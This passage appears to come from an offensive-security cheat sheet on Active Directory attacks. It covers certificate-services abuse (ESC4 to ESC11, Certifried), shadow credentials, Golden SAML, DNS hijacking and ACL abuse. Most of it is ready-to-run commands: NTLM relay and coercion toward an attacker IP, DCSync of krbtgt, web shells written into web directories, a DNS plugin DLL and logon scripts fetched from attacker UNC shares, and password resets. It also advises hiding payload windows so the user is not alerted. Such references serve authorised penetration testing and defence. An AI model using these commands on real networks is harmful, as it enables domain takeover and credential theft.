certipy template 'corp.local/johnpc$@ca.corp.local' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -configuration ESC4.json
```
### ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2
> If this flag is set on the CA, any request (including when the subject is built from Active Directory) can have user defined values in the subject alternative name.
**Exploitation**
* Use [Certify.exe](https://github.com/GhostPack/Certify) to check for **UserSpecifiedSAN** flag state which refers to the `EDITF_ATTRIBUTESUBJECTALTNAME2` flag.
```ps1
Certify.exe cas
```
* Request a certificate for a template and add an altname, even though the default `User` template doesn't normally allow to specify alternative names
```ps1
.\Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:User /altname:DomAdmin
```
**Mitigation**
* Remove the flag: `certutil.exe -config "CA01.domain.local\CA01" -setreg "policy\EditFlags" -EDITF_ATTRIBUTESUBJECTALTNAME2`
### ESC7 - Vulnerable Certificate Authority Access Control
**Exploitation**
* Detect CAs that allow low privileged users the `ManageCA` or `Manage Certificates` permissions
```ps1
Certify.exe find /vulnerable
```
* Change the CA settings to enable the SAN extension for all the templates under the vulnerable CA (ESC6)
```ps1
Certify.exe setconfig /enablesan /restart
```
* Request the certificate with the desired SAN.
```ps1
Certify.exe request /template:User /altname:super.adm
```
* Grant approval if required or disable the approval requirement
```ps1
# Grant
Certify.exe issue /id:[REQUEST ID]
# Disable
Certify.exe setconfig /removeapproval /restart
```
Alternative exploitation from **ManageCA** to **RCE** on ADCS server:
```ps1
# Get the current CDP list. Useful to find remote writable shares:
Certify.exe writefile /ca:SERVER\ca-name /readonly
# Write an aspx shell to a local web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:C:\Windows\SystemData\CES\CA-Name\shell.aspx /input:C:\Local\Path\shell.aspx
# Write the default asp shell to a local web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:c:\inetpub\wwwroot\shell.asp
# Write a php shell to a remote web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:\\remote.server\share\shell.php /input:C:\Local\path\shell.php
```
### ESC8 - AD CS Relay Attack
> An attacker can trigger a Domain Controller using PetitPotam to NTLM relay credentials to a host of choice. The Domain Controller’s NTLM Credentials can then be relayed to the Active Directory Certificate Services (AD CS) Web Enrollment pages, and a DC certificate can be enrolled. This certificate can then be used to request a TGT (Ticket Granting Ticket) and compromise the entire domain through Pass-The-Ticket.
Require [Impacket PR #1101](https://github.com/SecureAuthCorp/impacket/pull/1101)
* **Version 1**: NTLM Relay + Rubeus + PetitPotam
```powershell
impacket> python3 ntlmrelayx.py -t http://<ca-server>/certsrv/certfnsh.asp -smb2support --adcs
impacket> python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template VulnTemplate
# For a member server or workstation, the template would be "Computer".
# Other templates: workstation, DomainController, Machine, KerberosAuthentication
# Coerce the authentication via MS-ESFRPC EfsRpcOpenFileRaw function with petitpotam
# You can also use any other way to coerce the authentication like PrintSpooler via MS-RPRN
git clone https://github.com/topotam/PetitPotam
python3 petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_IP
python3 petitpotam.py -d '' -u '' -p '' $ATTACKER_IP $TARGET_IP
python3 dementor.py <listener> <target> -u <username> -p <password> -d <domain>
python3 dementor.py 10.10.10.250 10.10.10.10 -u user1 -p Password1 -d lab.local
# Use the certificate with rubeus to request a TGT
Rubeus.exe asktgt /user:<user> /certificate:<base64-certificate> /ptt
Rubeus.exe asktgt /user:dc1$ /certificate:MIIRdQIBAzC...mUUXS /ptt
# Now you can use the TGT to perform a DCSync
mimikatz> lsadump::dcsync /user:krbtgt
```
* **Version 2**: NTLM Relay + Mimikatz + Kekeo
```powershell
impacket> python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
# Mimikatz
mimikatz> misc::efs /server:dc.lab.local /connect:<IP> /noauth
# Kekeo
kekeo> base64 /input:on
kekeo> tgt::ask /pfx:<BASE64-CERT-FROM-NTLMRELAY> /user:dc$ /domain:lab.local /ptt
# Mimikatz
mimikatz> lsadump::dcsync /user:krbtgt
```
* **Version 3**: Kerberos Relay
```ps1
# Setup the relay
sudo krbrelayx.py --target http://CA/certsrv -ip attacker_IP --victim target.domain.local --adcs --template Machine
# Run mitm6
sudo mitm6 --domain domain.local --host-allowlist target.domain.local --relay CA.domain.local -v
```
* **Version 4**: ADCSPwn - Require `WebClient` service running on the domain controller. By default this service is not installed.
```powershell
https://github.com/bats3c/ADCSPwn
adcspwn.exe --adcs <cs server> --port [local port] --remote [computer]
adcspwn.exe --adcs cs.pwnlab.local
adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --port 9001
adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --output C:\Temp\cert_b64.txt
adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --username pwnlab.local\mranderson --password The0nly0ne! --dc dc.pwnlab.local
# ADCSPwn arguments
adcs - This is the address of the AD CS server which authentication will be relayed to.
secure - Use HTTPS with the certificate service.
port - The port ADCSPwn will listen on.
remote - Remote machine to trigger authentication from.
username - Username for non-domain context.
password - Password for non-domain context.
dc - Domain controller to query for Certificate Templates (LDAP).
unc - Set custom UNC callback path for EfsRpcOpenFileRaw (Petitpotam) .
output - Output path to store base64 generated crt.
```
* **Version 5**: Certipy ESC8
```ps1
certipy relay -ca 172.16.19.100
```
### ESC9 - No Security Extension
**Requirements**
* `StrongCertificateBindingEnforcement` set to `1` (default) or `0`
* Certificate contains the `CT_FLAG_NO_SECURITY_EXTENSION` flag in the `msPKI-Enrollment-Flag` value
* Certificate specifies `Any Client` authentication EKU
* `GenericWrite` over any account A to compromise any account B
**Scenario**
John@corp.local has **GenericWrite** over Jane@corp.local, and we want to compromise Administrator@corp.local.
Jane@corp.local is allowed to enroll in the certificate template ESC9 that specifies the **CT_FLAG_NO_SECURITY_EXTENSION** flag in the **msPKI-Enrollment-Flag** value.
* Obtain the hash of Jane with Shadow Credentials (using our GenericWrite)
```ps1
certipy shadow auto -username John@corp.local -p Passw0rd -account Jane
```
* Change the **userPrincipalName** of Jane to be Administrator. :warning: leave the `@corp.local` part
```ps1
certipy account update -username John@corp.local -password Passw0rd -user Jane -upn Administrator
```
* Request the vulnerable certificate template ESC9 from Jane's account.
```ps1
certipy req -username jane@corp.local -hashes ... -ca corp-DC-CA -template ESC9
# userPrincipalName in the certificate is Administrator
# the issued certificate contains no "object SID"
```
* Restore userPrincipalName of Jane to Jane@corp.local.
```ps1
certipy account update -username John@corp.local -password Passw0rd -user Jane@corp.local
```
* Authenticate with the certificate and receive the NT hash of the Administrator@corp.local user.
```ps1
certipy auth -pfx administrator.pfx -domain corp.local
# Add -domain <domain> to your command line since there is no domain specified in the certificate.
```
### ESC11 - Relaying NTLM to ICPR
> Encryption is not enforced for ICPR requests and Request Disposition is set to Issue
Requirements:
* [sploutchy/Certipy](https://github.com/sploutchy/Certipy) - Certipy fork
* [sploutchy/impacket](https://github.com/sploutchy/impacket) - Impacket fork
Exploitation:
1. Look for `Enforce Encryption for Requests: Disabled` in `certipy find -u user@dc1.lab.local -p 'REDACTED' -dc-ip 10.10.10.10 -stdout` output
2. Setup a relay using Impacket ntlmrelay and trigger a connection to it.
```ps1
ntlmrelayx.py -t rpc://10.10.10.10 -rpc-mode ICPR -icpr-ca-name lab-DC-CA -smb2support
```
### Certifried CVE-2022-26923
> An authenticated user could manipulate attributes on computer accounts they own or manage, and acquire a certificate from Active Directory Certificate Services that would allow elevation of privilege.
* Find `ms-DS-MachineAccountQuota`
```ps1
python bloodyAD.py -d lab.local -u username -p 'Password123*' --host 10.10.10.10 getObjectAttributes 'DC=lab,DC=local' ms-DS-MachineAccountQuota
```
* Add a new computer in the Active Directory, by default `MachineAccountQuota = 10`
```ps1
python bloodyAD.py -d lab.local -u username -p 'Password123*' --host 10.10.10.10 addComputer cve 'CVEPassword1234*'
certipy account create 'lab.local/username:Password123*@dc.lab.local' -user 'cve' -dns 'dc.lab.local'
```
* [ALTERNATIVE] If you are `SYSTEM` and the `MachineAccountQuota=0`: Use a ticket for the current machine and reset its SPN
```ps1
Rubeus.exe tgtdeleg
export KRB5CCNAME=/tmp/ws02.ccache
python bloodyAD -d lab.local -u 'ws02$' -k --host dc.lab.local setAttribute 'CN=ws02,CN=Computers,DC=lab,DC=local' servicePrincipalName '[]'
```
* Set the `dNSHostName` attribute to match the Domain Controller hostname
```ps1
python bloodyAD.py -d lab.local -u username -p 'Password123*' --host 10.10.10.10 setAttribute 'CN=cve,CN=Computers,DC=lab,DC=local' dNSHostName '["DC.lab.local"]'
python bloodyAD.py -d lab.local -u username -p 'Password123*' --host 10.10.10.10 getObjectAttributes 'CN=cve,CN=Computers,DC=lab,DC=local' dNSHostName
```
* Request a ticket
```ps1
# certipy req 'domain.local/cve$:CVEPassword1234*@ADCS_IP' -template Machine -dc-ip DC_IP -ca discovered-CA
certipy req 'lab.local/cve$:CVEPassword1234*@10.100.10.13' -template Machine -dc-ip 10.10.10.10 -ca lab-ADCS-CA
```
* Either use the pfx or set a RBCD on your machine account to takeover the domain
```ps1
certipy auth -pfx ./dc.pfx -dc-ip 10.10.10.10
openssl pkcs12 -in dc.pfx -out dc.pem -nodes
python bloodyAD.py -d lab.local -c ":dc.pem" -u 'cve$' --host 10.10.10.10 setRbcd 'CVE$' 'CRASHDC$'
getST.py -spn LDAP/CRASHDC.lab.local -impersonate Administrator -dc-ip 10.10.10.10 'lab.local/cve$:CVEPassword1234*'
secretsdump.py -user-status -just-dc-ntlm -just-dc-user krbtgt 'lab.local/Administrator@dc.lab.local' -k -no-pass -dc-ip 10.10.10.10 -target-ip 10.10.10.10
```
### Pass-The-Certificate
> Pass the Certificate in order to get a TGT, this technique is used in "UnPAC the Hash" and "Shadow Credential"
* Windows
```ps1
# Information about a cert file
certutil -v -dump admin.pfx
# From a Base64 PFX
Rubeus.exe asktgt /user:"TARGET_SAMNAME" /certificate:cert.pfx /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show
# Grant DCSync rights to an user
./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --elevate --target "DC=domain,DC=local" --sid <user_SID>
# To restore
./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --elevate --target "DC=domain,DC=local" --restore restoration_file.txt
```
* Linux
```ps1
# Base64-encoded PFX certificate (string) (password can be set)
gettgtpkinit.py -pfx-base64 $(cat "PATH_TO_B64_PFX_CERT") "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
# PEM certificate (file) + PEM private key (file)
gettgtpkinit.py -cert-pem "PATH_TO_PEM_CERT" -key-pem "PATH_TO_PEM_KEY" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
# PFX certificate (file) + password (string, optionnal)
gettgtpkinit.py -cert-pfx "PATH_TO_PFX_CERT" -pfx-pass "CERT_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
# Using Certipy
certipy auth -pfx "PATH_TO_PFX_CERT" -dc-ip 'dc-ip' -username 'user' -domain 'domain'
certipy cert -export -pfx "PATH_TO_PFX_CERT" -password "CERT_PASSWORD" -out "unprotected.pfx"
```
## UnPAC The Hash
Using the **UnPAC The Hash** method, you can retrieve the NT Hash for an User via its certificate.
* Windows
```ps1
# Request a ticket using a certificate and use /getcredentials to retrieve the NT hash in the PAC.
Rubeus.exe asktgt /getcredentials /user:"TARGET_SAMNAME" /certificate:"BASE64_CERTIFICATE" /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show
```
* Linux
```ps1
# Obtain a TGT by validating a PKINIT pre-authentication
$ gettgtpkinit.py -cert-pfx "PATH_TO_CERTIFICATE" -pfx-pass "CERTIFICATE_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
# Use the session key to recover the NT hash
$ export KRB5CCNAME="TGT_CCACHE_FILE" getnthash.py -key 'AS-REP encryption key' 'FQDN_DOMAIN'/'TARGET_SAMNAME'
```
## Shadow Credentials
> Add **Key Credentials** to the attribute `msDS-KeyCredentialLink` of the target user/computer object and then perform Kerberos authentication as that account using PKINIT to obtain a TGT for that user. When trying to pre-authenticate with PKINIT, the KDC will check that the authenticating user has knowledge of the matching private key, and a TGT will be sent if there is a match.
:warning: User objects can't edit their own `msDS-KeyCredentialLink` attribute while computer objects can. Computer objects can edit their own msDS-KeyCredentialLink attribute but can only add a KeyCredential if none already exists
**Requirements**:
* Domain Controller on (at least) Windows Server 2016
* Domain must have Active Directory `Certificate Services` and `Certificate Authority` configured
* PKINIT Kerberos authentication
* An account with the delegated rights to write to the `msDS-KeyCredentialLink` attribute of the target object
**Exploitation**:
- From Windows, use [Whisker](https://github.com/eladshamir/Whisker):
```powershell
# Lists all the entries of the msDS-KeyCredentialLink attribute of the target object.
Whisker.exe list /target:computername$
# Generates a public-private key pair and adds a new key credential to the target object as if the user enrolled to WHfB from a new device.
Whisker.exe add /target:"TARGET_SAMNAME" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /path:"cert.pfx" /password:"pfx-password"
Whisker.exe add /target:computername$ [/domain:constoso.local /dc:dc1.contoso.local /path:C:\path\to\file.pfx /password:P@ssword1]
# Removes a key credential from the target object specified by a DeviceID GUID.
Whisker.exe remove /target:computername$ /domain:constoso.local /dc:dc1.contoso.local /remove:2de4643a-2e0b-438f-a99d-5cb058b3254b
```
- From Linux, use [pyWhisker](https://github.com/ShutdownRepo/pyWhisker):
```bash
# Lists all the entries of the msDS-KeyCredentialLink attribute of the target object.
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "list"
# Generates a public-private key pair and adds a new key credential to the target object as if the user enrolled to WHfB from a new device.
pywhisker.py -d "FQDN_DOMAIN" -u "user1" -p "CERTIFICATE_PASSWORD" --target "TARGET_SAMNAME" --action "list"
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "add" --filename "test1"
# Removes a key credential from the target object specified by a DeviceID GUID.
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "remove" --device-id "a8ce856e-9b58-61f9-8fd3-b079689eb46e"
```
**Scenario**:
- **Scenario 1**: Shadow Credential relaying
- Trigger an NTLM authentication from `DC01` (PetitPotam)
- Relay it to `DC02` (ntlmrelayx)
- Edit `DC01`'s attribute to create a Kerberos PKINIT pre-authentication backdoor (pywhisker)
- Alternatively : `ntlmrelayx -t ldap://dc02 --shadow-credentials --shadow-target 'dc01$'`
- **Scenario 2**: Workstation Takeover with RBCD
```ps1
# Only for C2: Add Reverse Port Forward from 8081 to Team Server 81
# Set up ntlmrelayx to relay authentication from target workstation to DC
proxychains python3 ntlmrelayx.py -t ldaps://dc1.ez.lab --shadow-credentials --shadow-target ws2\$ --http-port 81
# Execute printer bug to trigger authentication from target workstation
proxychains python3 printerbug.py ez.lab/matt:Password1\!@ws2.ez.lab ws1@8081/file
# Get a TGT using the newly acquired certificate via PKINIT
proxychains python3 gettgtpkinit.py ez.lab/ws2\$ ws2.ccache -cert-pfx /opt/impacket/examples/T12uyM5x.pfx -pfx-pass 5j6fNfnsU7BkTWQOJhpR
# Get a ST (service ticket) for the target account
proxychains python3 gets4uticket.py kerberos+ccache://ez.lab\\ws2\$:ws2.ccache@dc1.ez.lab cifs/ws2.ez.lab@ez.lab administrator@ez.lab administrator_tgs.ccache -v
# Utilize the ST for future activity
export KRB5CCNAME=/opt/pkinittools/administrator_ws2.ccache
proxychains python3 wmiexec.py -k -no-pass ez.lab/administrator@ws2.ez.lab
```
## Active Directory Groups
### Dangerous Built-in Groups Usage
If you do not want modified ACLs to be overwritten every hour, you should change ACL template on the object `CN=AdminSDHolder,CN=System` or set `"dminCount` attribute to `0` for the required object.
> The AdminCount attribute is set to `1` automatically when a user is assigned to any privileged group, but it is never automatically unset when the user is removed from these group(s).
Find users with `AdminCount=1`.
```powershell
crackmapexec ldap 10.10.10.10 -u username -p password --admin-count
# or
python ldapdomaindump.py -u example.com\john -p pass123 -d ';' 10.10.10.10
jq -r '.[].attributes | select(.adminCount == [1]) | .sAMAccountName[]' domain_users.json
# or
Get-ADUser -LDAPFilter "(objectcategory=person)(samaccountname=*)(admincount=1)"
Get-ADGroup -LDAPFilter "(objectcategory=group) (admincount=1)"
# or
([adsisearcher]"(AdminCount=1)").findall()
```
### AdminSDHolder Abuse
> The Access Control List (ACL) of the AdminSDHolder object is used as a template to copy permissions to all "protected groups" in Active Directory and their members. Protected groups include privileged groups such as Domain Admins, Administrators, Enterprise Admins, and Schema Admins.
If you modify the permissions of **AdminSDHolder**, that permission template will be pushed out to all protected accounts automatically by `SDProp` (in an hour).
E.g: if someone tries to delete this user from the Domain Admins in an hour or less, the user will be back in the group.
```powershell
# Add a user to the AdminSDHolder group:
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=domain,DC=local' -PrincipalIdentity username -Rights All -Verbose
# Right to reset password for toto using the account titi
Add-ObjectACL -TargetSamAccountName toto -PrincipalSamAccountName titi -Rights ResetPassword
# Give all rights
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName toto -Verbose -Rights All
```
### Abusing DNS Admins Group
> It is possible for the members of the DNSAdmins group to load arbitrary DLL with the privileges of dns.exe (SYSTEM).
:warning: Require privileges to restart the DNS service.
* Enumerate members of DNSAdmins group
```ps1
Get-NetGroupMember -GroupName "DNSAdmins"
Get-ADGroupMember -Identity DNSAdmins
```
* Change dll loaded by the DNS service
```ps1
# with RSAT
dnscmd <servername> /config /serverlevelplugindll \\attacker_IP\dll\mimilib.dll
dnscmd 10.10.10.11 /config /serverlevelplugindll \\10.10.10.10\exploit\privesc.dll
# with DNSServer module
$dnsettings = Get-DnsServerSetting -ComputerName <servername> -Verbose -All
$dnsettings.ServerLevelPluginDll = "\attacker_IP\dll\mimilib.dll"
Set-DnsServerSetting -InputObject $dnsettings -ComputerName <servername> -Verbose
```
* Check the previous command success
```ps1
Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ -Name ServerLevelPluginDll
```
* Restart DNS
```ps1
sc \\dc01 stop dns
sc \\dc01 start dns
```
### Abusing Schema Admins Group
> The Schema Admins group is a security group in Microsoft Active Directory that provides its members with the ability to make changes to the schema of an Active Directory forest. The schema defines the structure of the Active Directory database, including the attributes and object classes that are used to store information about users, groups, computers, and other objects in the directory.
### Abusing Backup Operators Group
> Members of the Backup Operators group can back up and restore all files on a computer, regardless of the permissions that protect those files. Backup Operators also can log on to and shut down the computer. This group cannot be renamed, deleted, or moved. By default, this built-in group has no members, and it can perform backup and restore operations on domain controllers.
This groups grants the following privileges :
- SeBackup privileges
- SeRestore privileges
* Get members of the group:
```ps1
PowerView> Get-NetGroupMember -Identity "Backup Operators" -Recurse
```
* Enable privileges using [giuliano108/SeBackupPrivilege](https://github.com/giuliano108/SeBackupPrivilege)
```ps1
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
Set-SeBackupPrivilege
Get-SeBackupPrivilege
```
* Retrieve sensitive files
```ps1
Copy-FileSeBackupPrivilege C:\Users\Administrator\flag.txt C:\Users\Public\flag.txt -Overwrite
```
* Retrieve content of AutoLogon in the HKLM\SOFTWARE hive
```ps1
$reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('LocalMachine', 'dc.htb.local',[Microsoft.Win32.RegistryView]::Registry64)
$winlogon = $reg.OpenSubKey('SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon')
$winlogon.GetValueNames() | foreach {"$_ : $(($winlogon).GetValue($_))"}
```
* Retrieve SAM,SECURITY and SYSTEM hives
* [mpgn/BackupOperatorToDA](https://github.com/mpgn/BackupOperatorToDA): `.\BackupOperatorToDA.exe -t \\dc1.lab.local -u user -p pass -d domain -o \\10.10.10.10\SHARE\`
* [improsec/BackupOperatorToolkit](https://github.com/improsec/BackupOperatorToolkit): `.\BackupOperatorToolkit.exe DUMP \\PATH\To\Dump \\TARGET.DOMAIN.DK`
## Active Directory Federation Services
### ADFS - Golden SAML
**Requirements**:
* ADFS service account
* The private key (PFX with the decryption password)
**Exploitation**:
* Run [mandiant/ADFSDump](https://github.com/mandiant/ADFSDump) on AD FS server as the AD FS service account. It will query the Windows Internal Database (WID): `\\.\pipe\MICROSOFT##WID\tsql\query`
* Convert PFX and Private Key to binary format
```ps1
# For the pfx
echo AAAAAQAAAAAEE[...]Qla6 | base64 -d > EncryptedPfx.bin
# For the private key
echo f7404c7f[...]aabd8b | xxd -r -p > dkmKey.bin
```
* Create the Golden SAML using [mandiant/ADFSpoof](https://github.com/mandiant/ADFSpoof), you might need to update the [dependencies](https://github.com/szymex73/ADFSpoof).
```ps1
mkdir ADFSpoofTools
cd $_
git clone https://github.com/dmb2168/cryptography.git
git clone https://github.com/mandiant/ADFSpoof.git
virtualenv3 venvADFSSpoof
source venvADFSSpoof/bin/activate
pip install lxml
pip install signxml
pip uninstall -y cryptography
cd cryptography
pip install -e .
cd ../ADFSpoof
pip install -r requirements.txt
python ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s adfs.pentest.lab saml2 --endpoint https://www.contoso.com/adfs/ls
/SamlResponseServlet --nameidformat urn:oasis:names:tc:SAML:2.0:nameid-format:transient --nameid 'PENTEST\administrator' --rpidentifier Supervision --assertions '<Attribute Name="http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname"><AttributeValue>PENTEST\administrator</AttributeValue></Attribute>'
```
Other interesting tools to exploit AD FS:
* [WhiskeySAML](https://github.com/secureworks/whiskeysamlandfriends/tree/main/whiskeysaml)
## Active Directory Integrated DNS
ADIDNS zone DACL (Discretionary Access Control List) enables regular users to create child objects by default, attackers can leverage that and hijack traffic. Active Directory will need some time (~180 seconds) to sync LDAP changes via its DNS dynamic updates protocol.
* Enumerate all records using [dirkjanm/adidnsdump](https://github.com/dirkjanm/adidnsdump)
```ps1
adidnsdump -u DOMAIN\\user --print-zones dc.domain.corp (--dns-tcp)
```
* Query a node using [dirkjanm/krbrelayx](https://github.com/dirkjanm/krbrelayx)
```ps1
dnstool.py -u 'DOMAIN\user' -p 'password' --record '*' --action query $DomainController (--legacy)
```
* Add a node and attach a record
```ps1
dnstool.py -u 'DOMAIN\user' -p 'password' --record '*' --action add --data $AttackerIP $DomainController
```
The common way to abuse ADIDNS is to set a wildcard record and then passively listen to the network.
```ps1
Invoke-Inveigh -ConsoleOutput Y -ADIDNS combo,ns,wildcard -ADIDNSThreshold 3 -LLMNR Y -NBNS Y -mDNS Y -Challenge 1122334455667788 -MachineAccounts Y
```
## Abusing Active Directory ACLs/ACEs
Check ACL for an User with [ADACLScanner](https://github.com/canix1/ADACLScanner).
```powershell
ADACLScan.ps1 -Base "DC=contoso;DC=com" -Filter "(&(AdminCount=1))" -Scope subtree -EffectiveRightsPrincipal User1 -Output HTML -Show
```
### GenericAll
* **GenericAll on User** : We can reset user's password without knowing the current password
* **GenericAll on Group** : Effectively, this allows us to add ourselves (the user hacker) to the Domain Admin group :
* On Windows : `net group "domain admins" hacker /add /domain`
* On Linux:
* using the Samba software suite :
`net rpc group ADDMEM "GROUP NAME" UserToAdd -U 'hacker%MyPassword123' -W DOMAIN -I [DC IP]`
* using bloodyAD:
`bloodyAD.py --host [DC IP] -d DOMAIN -u hacker -p MyPassword123 addObjectToGroup UserToAdd 'GROUP NAME'`
* **GenericAll/GenericWrite** : We can set a **SPN** on a target account, request a Service Ticket (ST), then grab its hash and kerberoast it.
```powershell
# Check for interesting permissions on accounts:
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"}
# Check if current user has already an SPN setted:
PowerView2 > Get-DomainUser -Identity <UserName> | select serviceprincipalname
# Force set the SPN on the account: Targeted Kerberoasting
PowerView2 > Set-DomainObject <UserName> -Set @{serviceprincipalname='ops/whatever1'}
PowerView3 > Set-DomainObject -Identity <UserName> -Set @{serviceprincipalname='any/thing'}
# Grab the ticket
PowerView2 > $User = Get-DomainUser username
PowerView2 > $User | Get-DomainSPNTicket | fl
PowerView2 > $User | Select serviceprincipalname
# Remove the SPN
PowerView2 > Set-DomainObject -Identity username -Clear serviceprincipalname
```
* **GenericAll/GenericWrite** : We can change a victim's **userAccountControl** to not require Kerberos preauthentication, grab the user's crackable AS-REP, and then change the setting back.
* On Windows:
```powershell
# Modify the userAccountControl
PowerView2 > Get-DomainUser username | ConvertFrom-UACValue
PowerView2 > Set-DomainObject -Identity username -XOR @{useraccountcontrol=4194304} -Verbose
# Grab the ticket
PowerView2 > Get-DomainUser username | ConvertFrom-UACValue
ASREPRoast > Get-ASREPHash -Domain domain.local -UserName username
# Set back the userAccountControl
PowerView2 > Set-DomainObject -Identity username -XOR @{useraccountcontrol=4194304} -Verbose
PowerView2 > Get-DomainUser username | ConvertFrom-UACValue
```
* On Linux:
```bash
# Modify the userAccountControl
$ bloodyAD.py --host [DC IP] -d [DOMAIN] -u [AttackerUser] -p [MyPassword] setUserAccountControl [Target_User] 0x400000 True
# Grab the ticket
$ GetNPUsers.py DOMAIN/target_user -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>
# Set back the userAccountControl
$ bloodyAD.py --host [DC IP] -d [DOMAIN] -u [AttackerUser] -p [MyPassword] setUserAccountControl [Target_User] 0x400000 False
```
### GenericWrite
* Reset another user's password
* On Windows:
```powershell
# https://github.com/EmpireProject/Empire/blob/master/data/module_source/situational_awareness/network/powerview.ps1
$user = 'DOMAIN\user1';
$pass= ConvertTo-SecureString 'user1pwd' -AsPlainText -Force;
$creds = New-Object System.Management.Automation.PSCredential $user, $pass;
$newpass = ConvertTo-SecureString 'newsecretpass' -AsPlainText -Force;
Set-DomainUserPassword -Identity 'DOMAIN\user2' -AccountPassword $newpass -Credential $creds;
```
* On Linux:
```bash
# Using rpcclient from the Samba software suite
rpcclient -U 'attacker_user%my_password' -W DOMAIN -c "setuserinfo2 target_user 23 target_newpwd"
# Using bloodyAD with pass-the-hash
bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B changePassword target_user target_newpwd
```
* WriteProperty on an ObjectType, which in this particular case is Script-Path, allows the attacker to overwrite the logon script path of the delegate user, which means that the next time, when the user delegate logs on, their system will execute our malicious script : `Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1`
#### GenericWrite and Remote Connection Manager
> Now let’s say you are in an Active Directory environment that still actively uses a Windows Server version that has RCM enabled, or that you are able to enable RCM on a compromised RDSH, what can we actually do ? Well each user object in Active Directory has a tab called ‘Environment’.
>
> This tab includes settings that, among other things, can be used to change what program is started when a user connects over the Remote Desktop Protocol (RDP) to a TS/RDSH in place of the normal graphical environment. The settings in the ‘Starting program’ field basically function like a windows shortcut, allowing you to supply either a local or remote (UNC) path to an executable which is to be started upon connecting to the remote host. During the logon process these values will be queried by the RCM process and run whatever executable is defined. - https://sensepost.com/blog/2020/ace-to-rce/
:warning: The RCM is only active on Terminal Servers/Remote Desktop Session Hosts. The RCM has also been disabled on recent version of Windows (>2016), it requires a registry change to re-enable.
```powershell
$UserObject = ([ADSI]("LDAP://CN=User,OU=Users,DC=ad,DC=domain,DC=tld"))
$UserObject.TerminalServicesInitialProgram = "\\1.2.3.4\share\file.exe"
$UserObject.TerminalServicesWorkDirectory = "C:\"
$UserObject.SetInfo()
```
NOTE: To not alert the user the payload should hide its own process window and spawn the normal graphical environment.
### WriteDACL
To abuse `WriteDacl` to a domain object, you may grant yourself the DcSync privileges. It is possible to add any given account as a replication partner of the domain by applying the following extended rights Replicating Directory Changes/Replicating Directory Changes All. [Invoke-ACLPwn](https://github.com/fox-it/Invoke-ACLPwn) is a tool that automates the discovery and pwnage of ACLs in Active Directory that are unsafe configured : `./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -Username 'user1' -Domain 'domain.local' -Password 'Welcome01!'`
* WriteDACL on Domain:
* On Windows:
```powershell
# Give DCSync right to the principal identity
Import-Module .\PowerView.ps1
$SecPassword = ConvertTo-SecureString 'user1pwd' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN.LOCAL\user1', $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'DC=domain,DC=local' -Rights DCSync -PrincipalIdentity user2 -Verbose -Domain domain.local
```
* On Linux:
```bash
# Give DCSync right to the principal identity
bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B setDCSync user2
# Remove right after DCSync
bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B setDCSync user2 False
```
* WriteDACL on Group
```powershell
Add-DomainObjectAcl -TargetIdentity "INTERESTING_GROUP" -Rights WriteMembers -PrincipalIdentity User1
net group "INTERESTING_GROUP" User1 /add /domain
```
Or
```powershell
bloodyAD.py --host my.dc.corp -d corp -u devil_user1 -p P@ssword123 setGenericAll devil_user1 cn=INTERESTING_GROUP,dc=corp
# Remove right
bloodyAD.py --host my.dc.corp -d corp -u devil_user1 -p P@ssword123 setGenericAll devil_user1 cn=INTERESTING_GROUP,dc=corp False
```
### WriteOwner
